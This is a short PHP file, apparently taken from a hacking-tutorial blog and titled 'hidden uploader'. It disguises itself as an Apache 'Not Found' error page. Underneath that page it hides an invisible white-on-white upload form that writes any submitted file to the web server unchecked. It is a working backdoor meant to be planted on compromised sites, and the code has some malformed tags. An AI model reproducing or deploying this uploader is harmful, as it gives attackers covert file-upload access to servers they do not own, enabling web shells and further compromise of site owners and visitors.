hidden uploader

//Hacking tutorial underground, cyber,security,sql inject,basic,ethical hacking
//just on http://jok3d.blogspot.com/

<title>JOK3D hidden uploader</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<?php
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center><form>
<FORM ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
Choose: <INPUT NAME="file" TYPE="file">
<INPUT TYPE="submit" name="up" VALUE="Upload">
</form></center>
<?
if(move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){
echo "<script>alert('uploaded :v')</script>";
}
?>